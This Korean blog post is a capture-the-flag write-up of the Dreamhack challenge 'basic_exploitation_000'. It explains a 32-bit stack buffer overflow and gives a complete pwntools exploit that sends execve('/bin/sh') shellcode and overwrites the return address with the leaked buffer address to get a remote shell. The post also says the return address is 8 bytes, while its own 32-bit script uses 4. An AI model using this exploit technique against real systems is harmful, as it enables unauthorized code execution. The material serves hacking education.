[드림핵 시스템 해킹] Wargame : basic_exploitation_000

asdf·2025년 1월 8일

pwnable

목록 보기
7/36

문제


문제에서 32비트 아키텍처임을 알 수 있습니다.

풀이


취약점 분석

문제에서 제공한 파일인 basic_exploitation_000.c부터 살펴보도록 하겠습니다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

앞에서 푼 Return address Overwrite 문제와 다르게 get_shell 함수가 없어 execve 셸 코드를 사용해야 할 것 같습니다. main 함수를 보면 buf의 크기는 0x80, 즉 128바이트인데 반해 scanf에서 받는 크기는 141바이트 이므로 return address 부분을 조작할 수 있어 보입니다. printf 함수는 buf의 위치를 알려주므로 이 주소를 return address에 넣은 후 buf에 execve("/bin/sh", NULL, NULL)을 실행하는 셸코드를 작성하면 셸을 얻을 수 있을 것 같습니다.

스택 프레임 구조 파악

pwndbg로 basic_exploitation_000을 살펴보겠습니다.

보면 buf의 크기가 0x80임을 알 수 있고, 32비트 아키텍처이므로 SFP의 크기는 4바이트입니다. 따라서 buf에서부터 return address까지의 거리는 0x84바이트임을 알 수 있습니다. 0x84는 132바이트로 return address 8 바이트를 추가해도 scanf에서 받는 크기인 141 바이트를 초과하지 않습니다.

익스플로잇 실행

보낼 payload의 맨 앞에 execve("/bin/sh", NULL, NULL)에 해당하는 셸 코드를 작성한 후 셸 코드를 포함한 길이가 0x84 바이트가 되도록 더미 데이터를 채워줍니다. 그 후 return address를 buf의 위치로 변경해주면 해결할 수 있습니다. buf의 위치는 프로그램 실행 시 printf 함수에 의해 출력되게 됩니다. 이를 recv 함수로 받아 payload에 붙여 전달하면 문제를 해결할 수 있습니다. 아래는 완성된 코드입니다.

from pwn import *

p = remote("host1.dreamhack.games", 12370)
#execve("/bin/sh", NULL, NULL)
payload = b'\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x6a\x0e\x58\x48\x48\x48\x99\xcd\x80' 
#payload의 길이가 0x84가 되도록 더미 데이터 채우기
payload += b'A' * (0x84 - len(payload)) 
#"buf = (" 까지 읽기
p.recvuntil("(")
#buf 주소 10자리를 16진수로 읽어서 buf에 저장
buf = int(p.recv(10), 16)
#buf를 리틀 엔디안 방식으로 전환 후 payload에 추가
payload += p32(buf)
p.sendlineafter(")", payload)
p.interactive()

코드를 실행하여 셸을 얻는데 성공하였습니다.

profile
Rainy Waltz(a_hisa)

0개의 댓글